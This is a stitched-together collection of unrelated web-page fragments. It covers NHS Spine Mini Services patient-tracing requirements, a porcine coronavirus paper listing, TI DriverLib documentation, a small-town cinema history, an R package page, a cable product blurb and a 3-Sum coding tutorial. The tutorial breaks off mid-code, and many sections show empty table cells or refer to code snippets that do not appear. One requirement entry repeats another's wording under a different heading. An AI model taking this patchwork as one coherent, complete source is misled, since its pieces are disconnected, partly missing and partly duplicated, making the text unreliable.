--- title: Demographic Requirements keywords: requirements sidebar: capability_two_sidebar toc: false permalink: demographics_reqs.html folder: product1 ---
| Ref | Description |
|---|---|
| SMSP- MESSAGES-001 | Appropriate usage of National Application services MUST be elaborated in documentation |
| Note 1 | The SMSP MUST provide documentation that elaborates the message mapping from the SMSP API to the MIM messaging used to access National Applications in order for DHID to assure suitability. This must also take into account how these messages interact in the context of any caching that may be implemented (see SMSP-CACHE-002: Design documentation MUST consider caching). |
| Ref | Description | ||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| SMSP-ERR-005 | Error codes MUST provide sufficient detail about the outcome of calls to national applications | ||||||||||||||
| Note 1 |
There are many scenarios where a final outcome of one or more calls to PDS is that a business error is returned from PDS itself. This is important information to pass back to the SMSP client so that it has the opportunity to handle it appropriately and/or inform the user about the nature of the problem. Whilst the precise details of error handling and mapping are a responsibility of each supplier’s implementation, the following business error scenarios MUST be distinguishable by use of the appropriate SMSP error code:
Note that with the examples given above there may also be another accompanying error code returned by PDS, as specified in the error base, and that the examples above are illustrative not exhaustive. Alternative mappings by suppliers may be considered. The examples given do not imply specific behaviour of the SMSP system. For business error scenarios returned by PDS other than those listed above then a generic code of DEMOG-9999 MAY be used as a default. NB: Validation errors detected by PDS are however a special case – see SMSP-ERR-006 for more about this. |
| Ref | Description |
|---|---|
| MSCA-PDS-01 | The Mini Services Client Application SHOULD have an easy-to-use User Interface, which encourages best-practice usage of PDS |
| Note 1 |
Factors to consider include:
|
| Ref | Description |
|---|---|
| MSCA-PDS-02 | The Mini Services Client Application SHOULD coordinate seamlessly between local and PDS tracing |
| Note 1 | The preferred approach would be to attempt to trace locally first, and then to transition seamlessly to a PDS trace if no match is found locally |
| Ref | Description |
|---|---|
| MSCA-PDS-03 | The Mini Services Client Application MUST support the user in ensuring that patients are accurately traced |
| Note 1 |
To provide this support, the application MUST display sufficient data to enable the user to confirm an accurate match NB: There is also an obligation on the user to perform appropriate business processes and best-practice when confirming a patient’s identity |
| Ref | Description |
|---|---|
| MSCA-PDS-04 | If the patient cannot be traced then the Mini Services Client Application SHOULD allow the user to create a new local record |
| Note 1 | This allows the patient to be registered without delay to the provision of care |
| Ref | Description |
|---|---|
| MSCA-PDS-05 | If the patient cannot be traced then the Mini Services Client Application SHOULD allow the user to create a new local record |
| Note 1 |
Recommended events for consideration include:
|
| Note 2 |
|
| Note 3 |
|
| Ref | Description |
|---|---|
| MSCA-PDS-06 | The Mini Services Client Application MUST display the NHS Number correctly |
| Note 1 |
The Mini Services Client Application MUST display and print the NHS number in 3-3-4 format on all screens and printed material, e.g.<PHONE_NUMBER> Bar-coded NHS numbers MUST be in the Information Standards Board ISB/0061-00/2004 format |
| Ref | Description |
|---|---|
| MSCA-PDS-07 | The Mini Services Client Application SHOULD use wildcards appropriately |
| Note 1 |
The SMSP client application may use wildcards in the tracing criteria. If wildcards are allowed, then the deploying organisation MUST review this as part of the clinical safety assessment of the application. Client applications using wildcards in tracing criteria, where a user and/or patient can confirm that the returned candidate PDS record is the correct one (known as an ‘attended’ scenario), present a lower risk of false-positive matches. A false-positive match is one where a single candidate PDS record is returned which meets the tracing criteria, but is not in fact the record being sought. User training in the confirmation of record matching will be required. Use of wildcards in other ‘non-attended’ tracing scenarios (i.e. where a user and/or patient is not present to confirm the possible match), is likely to increase the risk of false-positive matching of patients with inherent clinical implications. See guidance below for further details. Any organisation considering wildcard use must undertake a structured safety assessment of the clinical and governance risks involved. Further guidance can be found on: http://www.isb.nhs.uk/documents/isb-0160/dscn-18-2009 The link below provides some guidance around the use of Wildcards that may be helpful, click the link and then select PX (PDS Stand-alone Trace) Screen. http://www.hscic.gov.uk/article/2021/Website-Search?q=wildcards+in+trace&go=Go&area=both |
| Ref | Description |
|---|---|
| MSCA-DQ-01 | The Mini Services Client Application MUST provide safe handling and resolution of duplicate NHS Numbers |
| Note 1 |
Duplicate NHS Numbers must not be displayed to the user. Rather a back-office process must be triggered to resolve the problem. Following appropriate back-office resolution, the system MUST be able to support merge (and unmerge) of local duplicates. |
| Ref | Description |
|---|---|
| MSCA-DQ-02 | The Mini Services Client Application MUST provide for both logical and permanent deletion of records |
| Note 1 |
It MUST be possible to logically delete and undelete a record. There MUST also be a method for the permanent deletion of patient records as a result of a court order under the authority of the Data Protection Act, Section 10. The fact that a record has been deleted (whether logically or permanently) and the user that performed it MUST be audited. |
| Ref | Description |
|---|---|
| MSCA-DQ-03 | The Mini Services Client Application MUST provide safe handling and resolution of superseded NHS Numbers |
| Note 1 |
It MUST be possible to logically delete and undelete a record. There MUST also be a method for the permanent deletion of patient records as a result of a court order under the authority of the Data Protection Act, Section 10. The fact that a record has been deleted (whether logically or permanently) and the user that performed it MUST be audited. |
| Ref | Description |
|---|---|
| MSCA-DQ-04 | The Mini Services Client Application MUST provide safe handling and resolution of records marked as “invalid” on PDS |
| Note 1 |
Invalid records will be identified by the Response Code returned from the Mini Services interface.
|
| Ref | Description |
|---|---|
| MSCA-DQ-05 | The Mini Services Client Application SHOULD provide data quality reports |
| Note 1 | These reports allow for proactive identification of local data quality issues, including duplicate NHS Numbers |
| Ref | Description |
|---|---|
| MSCA-DQ-06 | The Mini Services Client Application SHOULD trigger a back-office resolution process where local discrepancies with PDS are detected |
| Note 1 |
The Spine Mini Services interface does not allow direct updates to PDS. Therefore where the data retrieved from PDS is believed to be incorrect, the Mini Services Client Application SHOULD trigger a local back-office process to resolve the problem. (For example this might involve a local Data Quality Administrator investigating, and potentially using separate full access to PDS to make updates if necessary) |


--- layout: example-full.html title: Openlayers render event shortdesc: Openlayers render event. docs: > This page's Openlayers render event. tags: "openlayers" resources: - https://cdn.rawgit.com/openlayers/openlayers.github.io/master/en/v5.2.0/css/ol.css - https://cdn.rawgit.com/openlayers/openlayers.github.io/master/en/v5.2.0/build/ol.js ---


Downloading data from GitHub
{{ login }}
Dynamically generated GitHub profile
Projects
Languages
Stats
Contact
Projects
{{ project.name }}
Languages
{{ lang.name }}
Statistics
{{ publicProjects }}
public projects
{{ programmingLanguages }}
languages
{{ commits }}
commits
{{ watchers }}
watchers
Contact
Send


|
Domain Description
This is the primary domain from which the tool is running, which we're overloading as a provisioning sub-domain for testing....
Domain Description
This is the [CUSTOMER_2_DOMAIN] subdomain....
Domain Description
This is the [CUSTOMER_3_DOMAIN] subdomain....
|


iter Directory Reference
Files | |
| file | ranges-add.icc [code] |
| file | ranges-append.icc [code] |
| file | ranges-array.icc [code] |
| file | ranges-cache.icc [code] |
| file | ranges-compl.icc [code] |
| file | ranges-diff.icc [code] |
| file | ranges-empty.icc [code] |
| file | ranges-inter.icc [code] |
| file | ranges-minmax.icc [code] |
| file | ranges-minus.icc [code] |
| file | ranges-offset.icc [code] |
| file | ranges-operations.icc [code] |
| file | ranges-scale.icc [code] |
| file | ranges-singleton.icc [code] |
| file | ranges-size.icc [code] |
| file | ranges-union.icc [code] |
| file | ranges-values.icc [code] |
| file | values-ranges.icc [code] |
| file | virtual-ranges-compl.icc [code] |
| file | virtual-ranges-inter.icc [code] |
| file | virtual-ranges-union.icc [code] |
| file | virtual-ranges.icc [code] |


| 1 |
Kao_C_2018 |
The Characterization of Immunoprotection Induced by a cDNA Clone Derived from the Attenuated Taiwan Porcine Epidemic Diarrhea Virus Pintung 52 Strain |
Kao, Chi-Fei; Chiou, Hue-Ying; Chang, Yen-Chen; Hsueh, Cheng-Shun; Jeng, Chian-Ren; Tsai, Pei-Shiue; Cheng, Ivan-Chen; Pang, Victor Fei; Chang, Hui-Wen |
2018 |
2018-10-04 |
COMM-USE |
N |
PMC6213177 |
30287770.0 |
10.3390/v10100543 |
xorj8tnz |
0.660070 |
|
Yuan_2017, Jiang_2017, Chang_2019 |
| 2 |
Liu_X_2015 |
Determination of the infectious titer and virulence of an original US porcine epidemic diarrhea virus PC22A strain |
Liu, Xinsheng; Lin, Chun-Ming; Annamalai, Thavamathi; Gao, Xiang; Lu, Zhongyan; Esseili, Malak A; Jung, Kwonil; El-Tholoth, Mohamed; Saif, Linda J; Wang, Qiuhong |
2015 |
2015-09-25 |
COMM-USE |
N |
PMC4582625 |
26408019.0 |
10.1186/s13567-015-0249-1 |
72a9dvsr |
0.614612 |
Li_W_2012, Woods_1979 |
Lin_C_2017, Hu_H_2016 |
| 3 |
Kao_C_2019 |
Investigation of the Role of the Spike Protein in Reversing the Virulence of the Highly Virulent Taiwan Porcine Epidemic Diarrhea Virus Pintung 52 Strains and Its Attenuated Counterpart |
Kao, Chi-Fei; Chang, Hui-Wen |
2019 |
2019-12-30 |
COMM-USE |
N |
PMC7019868 |
31905842.0 |
10.3390/v12010041 |
9dn5c01n |
0.576611 |
Si_F_2020 |
Kao_C_2018, Yuan_2017, Jiang_2017 |
| 4 |
Zhang_2019 |
Genetic manipulation of porcine deltacoronavirus reveals insights into NS6 and NS7 functions: a novel strategy for vaccine design |
Zhang, Mengjia; Li, Wan; Zhou, Peng; Liu, Dejian; Luo, Rui; Jongkaewwattana, Anan; He, Qigai |
2019 |
2019-12-20 |
COMM-USE |
N |
PMC6968670 |
31859605.0 |
10.1080/22221751.2019.1701391 |
odyb4slr |
0.562566 |
Si_F_2020 |
Jiang_2017, Zhang_2018 |
| 5 |
Lin_C_2017 |
Attenuation of an original US porcine epidemic diarrhea virus strain PC22A via serial cell culture passage |
Lin, Chun-Ming; Hou, Yixuan; Marthaler, Douglas G.; Gao, Xiang; Liu, Xinsheng; Zheng, Lanlan; Saif, Linda J.; Wang, Qiuhong |
2017 |
2017-03-31 |
PMC |
N |
PMC7117544 |
28284624.0 |
10.1016/j.vetmic.2017.01.015 |
xzk005d8 |
0.546403 |
Si_F_2020, Li_W_2012 |
Wu_Y_2019, Yang_2018, Thimmasandra_Narayanappa_2015 |
| 6 |
Peng_2020 |
Rapid manipulation of the porcine epidemic diarrhea virus genome by CRISPR/Cas9 technology |
Peng, Qi; Fang, Liurong; Ding, Zhen; Wang, Dang; Peng, Guiqing; Xiao, Shaobo |
2020 |
2020-02-29 |
PMC |
N |
PMC7113866 |
31712093.0 |
10.1016/j.jviromet.2019.113772 |
fkj0fm5v |
0.541384 |
|
|
| 7 |
Li_J_2017 |
Development of the full-length cDNA clones of two porcine epidemic diarrhea disease virus isolates with different virulence |
Li, Jie; Jin, Zhonghui; Gao, Yueyi; Zhou, Lei; Ge, Xinna; Guo, Xin; Han, Jun; Yang, Hanchun |
2017 |
2017-03-16 |
COMM-USE |
N |
PMC5354467 |
28301551.0 |
10.1371/journal.pone.0173998 |
dbi5j6u6 |
0.523354 |
|
Fan_B_2017 |
| 8 |
Shirato_2010 |
Enhanced cell fusion activity in porcine epidemic diarrhea virus adapted to suckling mice |
Shirato, Kazuya; Maejima, Madoka; Hirai, Asuka; Ami, Yasushi; Takeyama, Natsumi; Tsuchiya, Kotaro; Kusanagi, Kouich; Nunoya, Tetsuo; Taguchi, Fumihiro |
2010 |
2010-09-09 |
PMC |
N |
PMC7086807 |
20827493.0 |
10.1007/s00705-010-0790-1 |
zdhg4axx |
0.513325 |
Si_F_2020, Li_W_2012 |
Kim_D_2016, Lin_C_2017 |
| 9 |
Chang_2018 |
Display of Porcine Epidemic Diarrhea Virus Spike Protein on Baculovirus to Improve Immunogenicity and Protective Efficacy |
Chang, Chia-Yu; Hsu, Wei-Ting; Chao, Yu-Chan; Chang, Hui-Wen |
2018 |
2018-06-27 |
COMM-USE |
N |
PMC6071207 |
29954081.0 |
10.3390/v10070346 |
v8vpuyum |
0.509657 |
|
Yuan_2017, Chang_2019 |
| 10 |
Wang_2019 |
The N-Terminal Domain of Spike Protein Is Not the Enteric Tropism Determinant for Transmissible Gastroenteritis Virus in Piglets |
Wang, Gang; Liang, Rui; Liu, Ziwei; Shen, Zhou; Shi, Jiale; Shi, Yuejun; Deng, Feng; Xiao, Shaobo; Fu, Zhen F.; Peng, Guiqing |
2019 |
2019-03-30 |
COMM-USE |
N |
PMC6520731 |
30935078.0 |
10.3390/v11040313 |
admlzeu4 |
0.485058 |
|
|
| 11 |
Wu_Y_2019 |
Characterization and pathogenicity of Vero cell-attenuated porcine epidemic diarrhea virus CT strain |
Wu, Yu; Li, Wei; Zhou, Qingfeng; Li, Qunhui; Xu, Zhichao; Shen, Hanqin; Chen, Feng |
2019 |
2019-10-28 |
COMM-USE |
N |
PMC6819350 |
31660993.0 |
10.1186/s12985-019-1232-7 |
o80x8nj7 |
0.480280 |
Li_W_2012 |
Lin_C_2017, Zhang_2019 |
| 12 |
Ke_Y_2019 |
Recombinant vesicular stomatitis virus expressing the spike protein of genotype 2b porcine epidemic diarrhea virus: A platform for vaccine development against emerging epidemic isolates |
Ke, Yong; Yu, Dayi; Zhang, Fanqing; Gao, Jing; Wang, Xiaoyu; Fang, Xinkui; Wang, Hengan; Sun, Tao |
2019 |
2019-07-31 |
PMC |
N |
PMC7112030 |
31128495.0 |
10.1016/j.virol.2019.05.009 |
kqhbfnq3 |
0.479902 |
|
Yuan_2017 |
| 13 |
Xu_Z_2019 |
Attenuation and characterization of porcine enteric alphacoronavirus strain GDS04 via serial cell passage |
Xu, Zhichao; Lin, Ying; Zou, Chuangchao; Peng, Peng; Wu, Yanan; Wei, Ying; Liu, Yuan; Gong, Lang; Cao, Yongchang; Xue, Chunyi |
2019 |
2019-12-31 |
PMC |
N |
PMC7117411 |
31767069.0 |
10.1016/j.vetmic.2019.108489 |
rcxjjxw3 |
0.475868 |
Li_W_2012, Si_F_2020 |
Kim_D_2016, Xu_Z_2018, Thimmasandra_Narayanappa_2015 |
| 14 |
Chang_2017 |
Evaluation and Comparison of the Pathogenicity and Host Immune Responses Induced by a G2b Taiwan Porcine Epidemic Diarrhea Virus (Strain Pintung 52) and Its Highly Cell-Culture Passaged Strain in Conventional 5-Week-Old Pigs |
Chang, Yen-Chen; Kao, Chi-Fei; Chang, Chia-Yu; Jeng, Chian-Ren; Tsai, Pei-Shiue; Pang, Victor Fei; Chiou, Hue-Ying; Peng, Ju-Yi; Cheng, Ivan-Chen; Chang, Hui-Wen |
2017 |
2017-05-19 |
COMM-USE |
N |
PMC5454433 |
28534849.0 |
10.3390/v9050121 |
hunn2huk |
0.473454 |
Li_W_2012 |
Kao_C_2018 |
| 15 |
Lee_S_2015 |
Isolation and characterization of a Korean porcine epidemic diarrhea virus strain KNU-141112 |
Lee, Sunhee; Kim, Youngnam; Lee, Changhee |
2015 |
2015-10-02 |
PMC |
N |
PMC7114544 |
26196056.0 |
10.1016/j.virusres.2015.07.010 |
gqbtkf0x |
0.469134 |
|
Yang_2018, Thimmasandra_Narayanappa_2015 |
| 16 |
Yang_2020 |
Isolation and characterization of a variant subgroup GII-a porcine epidemic diarrhea virus strain in China |
Yang, Dan; Su, Mingjun; Li, Chunqiu; Zhang, Bei; Qi, Shanshan; Sun, Dongbo; Yin, Baishuang |
2020 |
2020-03-31 |
PMC |
N |
PMC7126716 |
31838173.0 |
10.1016/j.micpath.2019.103922 |
0r9curki |
0.450119 |
Li_W_2012, Puranaveja_2009 |
Zhang_2019, Zhang_2018, Yang_2018 |
| 17 |
Sun_Y_2019 |
Attenuation of a virulent swine acute diarrhea syndrome coronavirus strain via cell culture passage |
Sun, Y.; Cheng, J.; Luo, Y.; Yan, X.L.; Wu, Z.X.; He, L.L.; Tan, Y.R.; Zhou, Z.H.; Li, Q.N.; Zhou, L.; Wu, R.T.; Lan, T.; Ma, J.Y. |
2019 |
2019-12-31 |
PMC |
N |
PMC7112038 |
31580972.0 |
10.1016/j.virol.2019.09.009 |
uaj372ag |
0.395630 |
Si_F_2020, Li_W_2012 |
Thimmasandra_Narayanappa_2015, Wang_2019 |
| 18 |
Shi_W_2017 |
Novel Approach for Isolation and Identification of Porcine Epidemic Diarrhea Virus (PEDV) Strain NJ Using Porcine Intestinal Epithelial Cells |
Shi, Wen; Jia, Shuo; Zhao, Haiyuan; Yin, Jiyuan; Wang, Xiaona; Yu, Meiling; Ma, Sunting; Wu, Yang; Chen, Ying; Fan, Wenlu; Xu, Yigang; Li, Yijing |
2017 |
2017-01-21 |
COMM-USE |
N |
PMC5294988 |
28117718.0 |
10.3390/v9010019 |
zqjafa10 |
0.394654 |
Li_W_2012, Puranaveja_2009 |
Yang_2018, Lee_S_2015, Dortmans_2018 |
| 19 |
Khamis_2018 |
Porcine Epidemic Diarrhea Virus |
Khamis, Zayn; Menassa, Rima |
2018 |
2018-05-03 |
PMC |
N |
PMC7120993 |
|
10.1007/978-3-319-90137-4_12 |
app590vw |
0.383097 |
|
|
| 20 |
Gao_X_2020 |
Characterization, Pathogenicity and Protective efficacy of a Cell Culture-Derived Porcine Deltacoronavirus |
Gao, Xiang; Zhao, Donghong; Zhou, Peng; Zhang, Liping; Li, Mingxia; Li, Weiyan; Zhang, Yongguang; Wang, Yonglu; Liu, Xinsheng |
2020 |
2020-04-02 |
PMC |
N |
|
|
10.1016/j.virusres.2020.197955 |
ny3xrjzc |
0.381920 |
Li_W_2012 |
Zhang_2018, Xu_Z_2018, Liang_2019 |
| 21 |
Fan_B_2017 |
Characterization of a pathogenic full-length cDNA clone of a virulent porcine epidemic diarrhea virus strain AH2012/12 in China |
Fan, Baochao; Yu, Zhengyu; Pang, Fengjiao; Xu, Xiangwei; Zhang, Baimeng; Guo, Rongli; He, Kongwang; Li, Bin |
2017 |
2017-01-31 |
PMC |
N |
PMC7111662 |
27770703.0 |
10.1016/j.virol.2016.10.011 |
uurc59eu |
0.378081 |
Puranaveja_2009 |
Zhang_2019, Wang_2010 |
| 22 |
Pascual-Iglesias_2019 |
Recombinant Chimeric Transmissible Gastroenteritis Virus (TGEV)—Porcine Epidemic Diarrhea Virus (PEDV) Virus Provides Protection against Virulent PEDV |
Pascual-Iglesias, Alejandro; Sanchez, Carlos M.; Penzes, Zoltan; Sola, Isabel; Enjuanes, Luis; Zuñiga, Sonia |
2019 |
2019-07-25 |
COMM-USE |
N |
PMC6723174 |
31349683.0 |
10.3390/v11080682 |
6o2upns3 |
0.377989 |
|
Yuan_2017, Muñoz-González_2015 |
| 23 |
Liu_X_2019 |
A newly isolated Chinese virulent genotype GIIb porcine epidemic diarrhea virus strain: Biological characteristics, pathogenicity and immune protective effects as an inactivated vaccine candidate |
Liu, Xinsheng; Zhang, Qiaoling; Zhang, Liping; Zhou, Peng; Yang, Jun; Fang, Yuzhen; Dong, Zhaoliang; Zhao, Donghong; Li, Weiyan; Feng, Jiaxin; Cui, Baofeng; Zhang, Yongguang; Wang, Yonglu |
2019 |
2019-01-02 |
PMC |
N |
PMC7111334 |
30342075.0 |
10.1016/j.virusres.2018.10.012 |
5ykabjg3 |
0.362722 |
Li_W_2012, Puranaveja_2009 |
Zhang_2019, Fan_B_2017 |
| 24 |
Lawrence_2014 |
Genome Sequences of Porcine Epidemic Diarrhea Virus: In Vivo and In Vitro Phenotypes |
Lawrence, Paulraj K.; Bumgardner, Eric; Bey, Russell F.; Stine, Douglas; Bumgarner, Roger E. |
2014 |
2014-06-12 |
COMM-USE |
N |
PMC4056290 |
24926047.0 |
10.1128/genomea.00503-14 |
xwax1k7o |
0.340159 |
Li_W_2012 |
Lin_C_2017 |
| 25 |
Kim_Y_2017 |
Trypsin-independent porcine epidemic diarrhea virus US strain with altered virus entry mechanism |
Kim, Yunjeong; Oh, Changin; Shivanna, Vinay; Hesse, Richard A.; Chang, Kyeong-Ok |
2017 |
2017-11-25 |
COMM-USE |
N |
PMC5702120 |
29178878.0 |
10.1186/s12917-017-1283-1 |
qi6qmgk2 |
0.315569 |
Li_W_2012 |
Thimmasandra_Narayanappa_2015, Wang_2019 |
| 26 |
Liwnaree_2019 |
Growth enhancement of porcine epidemic diarrhea virus (PEDV) in Vero E6 cells expressing PEDV nucleocapsid protein |
Liwnaree, Benjamas; Narkpuk, Jaraspim; Sungsuwan, Suttipun; Jongkaewwattana, Anan; Jaru-Ampornpan, Peera |
2019 |
2019-03-06 |
COMM-USE |
N |
PMC6402621 |
30840701.0 |
10.1371/journal.pone.0212632 |
h07a3s6d |
0.308563 |
|
Lin_C_2017, Yuan_2017, Yang_2018 |
| 27 |
Chen_2019 |
The phosphorylation of the N protein could affect PRRSV virulence in vivo |
Chen, Yao; Yu, Zhiqing; Yi, Heyou; Wei, Yingfang; Han, Xiaoliang; Li, Qi; Ji, Chihai; Huang, Junmin; Deng, Qiwei; Liu, Yixin; Cai, Mengkai; He, Shuyi; Ma, Chunquan; Zhang, Guihong |
2019 |
2019-04-30 |
PMC |
N |
PMC7117339 |
30955814.0 |
10.1016/j.vetmic.2019.03.018 |
s4jsl4t3 |
0.302692 |
Si_F_2020 |
Dong_2014 |


Doom note
This is exactly the same as DOOM texturing, just note that there are two different walls, not one linedef with two sidedefs.


Blockpass Demo
Hello Thomas!
Thanks for using Blockpass, we have successfully received your info. Don't hesitate to send us your feedback at<EMAIL_ADDRESS>Connect on Telegram
Subscribe to our mailing list
Please wait
USER INSTRUCTIONS
1.
Download our beta app for your mobile phone
iPhone app
Android app
2.
Create your identity
3.
Submit your info
4.
Open this website
5.
Scan the QR Code above with app
6.
Confirm registration in app


Grand Olympiad Manager:
The Olympiad boasts a long history. During the mythical era of giants,
this arena was created to foster peace and understanding among the races.
This is the Grand Olympiad.
Back


DriverLib for MSP432 Series has been tested and compiled under a variety of different toolchains. Subsequently, for each toolchain a specific debugger was used for testing validation. Below is a list that contains the supported toolchain and corresponding hardware debugger used.
| Toolchain | Debugger |
| Texas Instruments Code Composer Studio 7.3 | XDS110 (LaunchPad) |
| IAR Embedded Workbench for ARM 8.11.2 | Segger J-LINK |
| GNU C Compiler gcc-arm-none-eabi-6-2017-q1-update | Segger J-LINK |
| Keil Embedded Development Tools for ARM 5.23 | KEIL U-Link Pro |
The DriverLib is meant to provide a "software" layer to the programmer in order to facilitate higher level of programming compared to direct register accesses. Nearly every aspect of a MSP432 device can be configured and driven using the DriverLib APIs. By using the high level software APIs provided by DriverLib, users can create powerful and intuitive code which is highly portable between not only devices within the MSP432 platform, but between different families in the MSP430/MSP432 platforms.
Writing code in DriverLib will make user code more legible and easier to share among a group. For example, examine the following pair of code snippets. Both sets of code set MCLK to be sourced from VLO with a divider of four:
Traditional Register Access
DriverLib Equivalent
As can be seen, the DriverLib API is readable, sensible, and easy to program for the software engineer. Additionally, DriverLib APIs for other platforms such as MSP430 will use very similar (if not identical) APIs giving code written with DriverLib APIs a boost in portability.
Interrupt handlers are also not included with the DriverLib APIs. APIs to manage/enable/disable interrupts are included, however the actual authoring of the interrupt service routine is left up to the programmer. For reference, A typical interrupt handler that takes advantage of DriverLib APIs can be seen in the following code snippet:
Calling the following API alone while MCLK is greater that 128Khz will result in a system error:
This is because the DriverLib module will not account for the overall system frequency of the system. Instead, similar APIs to the following must be called in conjunction:
Cross-module considerations such as these must be taken when programming with DriverLib APIs as DriverLib was not designed to account for high level system requirements.
Accessing Driver Library APIs in ROM is as easy as including the rom.h header file, and then replacing normal API calls with a ROM_ prefix. For example, take the following API from the pcm.c module that changes the power state to PCM_AM_DCDC_VCORE1:
After including the rom.h file, all that would have to be done to switch to the ROM equivalent of the API would be add the ROM_ prefix to the API:
While the majority of DriverLib APIs are available in ROM, due to architectural limitations some APIs are omitted from being included in ROM. In addition, if any bug fixes were added to the API after the device ROM was programmed, it is desirable to use the flash version of the API. An "intelligence" has been created to account for this problem. If the user includes the rom_map.h header file and uses the MAP_ prefix in front of the API, the header file will automatically use preprocessor macros to decide whether to use a ROM or flash version of the API.
To use these legacy APIs, no additional work is needed. All that is needed is to include the header file of the module you want to use and both the old and the new APIs will be available. For example, for WDT_A:
By including this header file, the user is granted access to all of the legacy DriverLib APIs from MSP430 Driver Library verbatim. For additional documentation on the MSP430 implementation of DriverLib, please refer to the MSP430Ware Website.
Many of the APIs were simplified and refactored for the MSP432 version of Driver Library. For example, to halt the watchdog module for a 5xx MSP430 device, the following API is used:
Note that while many Driver Library APIs are shared between MSP430 and MSP432, there are a few underlying differences between the two architectures. Interrupts, for example, are a bit difference on MSP432 compared to MSP430 due to integration with ARM's interrupt controller (the NVIC). While each module will still have individual status (IFG), enable/disable, and clear bits, interrupt service routines now have to be associated with the ARM NVIC before usage.
Getting started using DriverLib for MSP432 Series is very simple regardless of the chosen development environment.
An empty "skeleton" project is provided in the examples directory of the SDK release. This project includes links to the DriverLib library as well as everything that is needed for the programmer to immediately start writing a DriverLib application. A user can import this project in CCS using the TI Resource Explorer, or open the workspace with IAR Embedded Workbench for ARM or KEIL uVision 5. All of the include paths and compiler options are set up to allow the user to seamlessly start development on their MSP432 DriverLib application.
The GNU compiler tools for ARM are fully supported by the MSP432 Series DriverLib. While no IDE in specific is supported, Makefiles are provided for both the library and all of the code examples. Vector table definitions that are compatible with the GCC compiler are also provided for code examples in the startup_gcc.c file for each individual code example. For the GNU tools, separate header files are included in the inc directory of the root installation of DriverLib. These header files are the latest that are available at the time of DriverLib release, however newer header files may be downloaded as a part of the CCS installation.


The Melville Theatre is located in Saskatchewan's smallest city. Melville has a population of just under 5000 people. To learn more about Melville and Melville businesses, tourism, and community events, click here.
Melville Theatre is the only movie theatre in Melville, Saskatchewan, Canada. It opened on February 10, 1995. The first movie played in the Melville Theatre was DUMB AND DUMBER starring Jim Carrey. The biggest show (by ticket sales) to date was TITANIC, which was played for a total of four weeks over three separate bookings. Titanic was originally shown on 35mm film on February 20-March 5 and April 24-30, 1998. It was shown again in digital 3D on April 20-26, 2012.
The Melville Theatre is located at 223 Third Avenue West in Melville, Saskatchewan, Canada. Before it was renovated to be a movie theatre, the building was a paint and wallpaper store which carried on business in Melville for many years as City Paint. Melville had no movie theatre at all for a period of approximately 15 years before the Melville Theatre was established. The building that is now the Melville Theatre was vacant for about three years after City Paint closed its doors. Frank Cox purchased the building from its former owners in October 1994.
There is one screen, 153 seats and two wheelchair spaces. Yes, the Melville Theatre is wheelchair accessible! There are generally one or two shows per night, seven nights per week, and Saturday and Sunday afternoon matinees when appropriate movies are available. To find out what's currently playing and what's coming to the Melville Theatre, click here.
The Theatre is closed only two days per year, Christmas Eve and Christmas Day, December 24 and 25. Open all other days including holidays.
The Melville Theatre used industry standard 35mm film until March 31, 2011.  The theatre then closed for a period of one week (the only time it has been closed for an entire week since the day it originally opened) for the installation of new digital cinema equipment and a new surround sound system. It re-opened on April 8, 2011 as the first digital cinema in the Parkland region. The first digital 3D movie played at the Melville Theatre was MARS NEEDS MOMS.
The Melville Theatre is an independent movie theatre. It is not part of any chain, and is owned and operated by Frank Cox.


Things You Need in One Place
It appears you don't have a PDF plugin for this browser. No biggie... you can click here to download the PDF file.
Photo Login goes here.


<pixel-canvas>
| Atrribute Name | Value |
|---|---|
| px | |
| Oneshot Selection Operations | |
|---|---|
| Interactive Selection Operations |
or Ctrl + Left-Click
|
|
Selection Bounds Operations (required to select* /start*Selection )
|
|
|
Float-layer Operations (required to copySelection /cutSelection )
|
|
| Others |


My Track
Release Notes
v<IP_ADDRESS> 2013-09-07
Fixed various bugs
Added own orange theme
v<IP_ADDRESS> 2013-09-06
Initial release


It implements Expectation/Conditional Maximization Either (ECME) and rapidly converging algorithms as well as Bayesian inference for linear mixed models, which is described in Schafer, J.L. (1998) "Some improved procedures for linear mixed models". Dept. of Statistics, The Pennsylvania State University.
| Version: | 1.2 |
| Depends: | R (≥ 2.0.0) |
| Published: | 2018-06-30 |
| Author: | Original by Joseph L. Schafer |
| Maintainer: | Jing hua Zhao <jinghuazhao at hotmail.com> |
| License: | Unlimited |
| URL: | https://github.com/jinghuazhao/R |
| NeedsCompilation: | yes |
| Materials: | ChangeLog |
| In views: | Bayesian, SocialSciences |
| CRAN checks: | lmm results |
| Reference manual: | lmm.pdf |
| Vignettes: |
Some improved procedures for linear mixed models |
| Package source: | lmm_1.2.tar.gz |
| Windows binaries: | r-devel: lmm_1.2.zip, r-release: lmm_1.2.zip, r-oldrel: lmm_1.2.zip |
| OS X binaries: | r-release: lmm_1.2.tgz, r-oldrel: lmm_1.2.tgz |
| Old sources: | lmm archive |
Please use the canonical form https://CRAN.R-project.org/package=lmm to link to this page.


Volter Cables manufactures general wiring cables in the range of 250/750 Volts, conforming to BS:6004:95.
Product Range:
We have a wide range of general wiring available which includes:
Single core cables range from 1 mm2 to 10 mm2
Large single core cables from 16mm2 to 70mm2
Multi-core cables from 1 mm2 to 10 mm2 and
Flexible multi-core cables from 1mm2 to 4mm2
Benefits:
The benefits of utilizing our high quality General Wiring Cables are:
1-Lower electricity billing
2-Optimum efficiency of appliances
3-Safety to life and property
4-Better energy utilization
Volter Cables manufactures general wiring cables in the range of 250/750 Volts, conforming to BS:6004:95.
Product Range:
We have a wide range of general wiring available which includes:
Single core cables range from 1 mm2 to 10 mm2
Large single core cables from 16mm2 to 70mm2
Multi-core cables from 1 mm2 to 10 mm2 and
Flexible multi-core cables from 1mm2 to 4mm2
Benefits:
The benefits of utilizing our high quality General Wiring Cables are:
1-Lower electricity billing
2-Optimum efficiency of appliances
3-Safety to life and property
4-Better energy utilization


The 3-Sum is a popular programming puzzle and is presented to people in many different forms. Here I will endeavor to dissect its more popular versions.
###Let’s start with the 2-Sum
The question is thus:
Given an array of integers, find two numbers such that they add up to a specific target number.
The function twoSum() should return indices of the two numbers such that they add up to the target, where index1 must be less than index2. Please note that your returned answers (both index1 and index2) are not zero-based.
You may assume that each input would have exactly one solution.
Input: numbers = {2, 7, 11, 15}, target = 9
Output: index1 = 1, index2 = 2
Here you have an array of numbers and you have to find out if any two of them sum to a given target number. The most obvious way to solve it is to brute force your way to sum all possible combinations:
class Solution {
public:
vector<int> twoSum(vector<int> &numbers, int target) {
vector<int> solution;
for ( int i=0; i<numbers.size()-1; i++ )
for ( int j=i+1; j<numbers.size(); j++ )
if ( numbers[i]+numbers[j] == target ) {
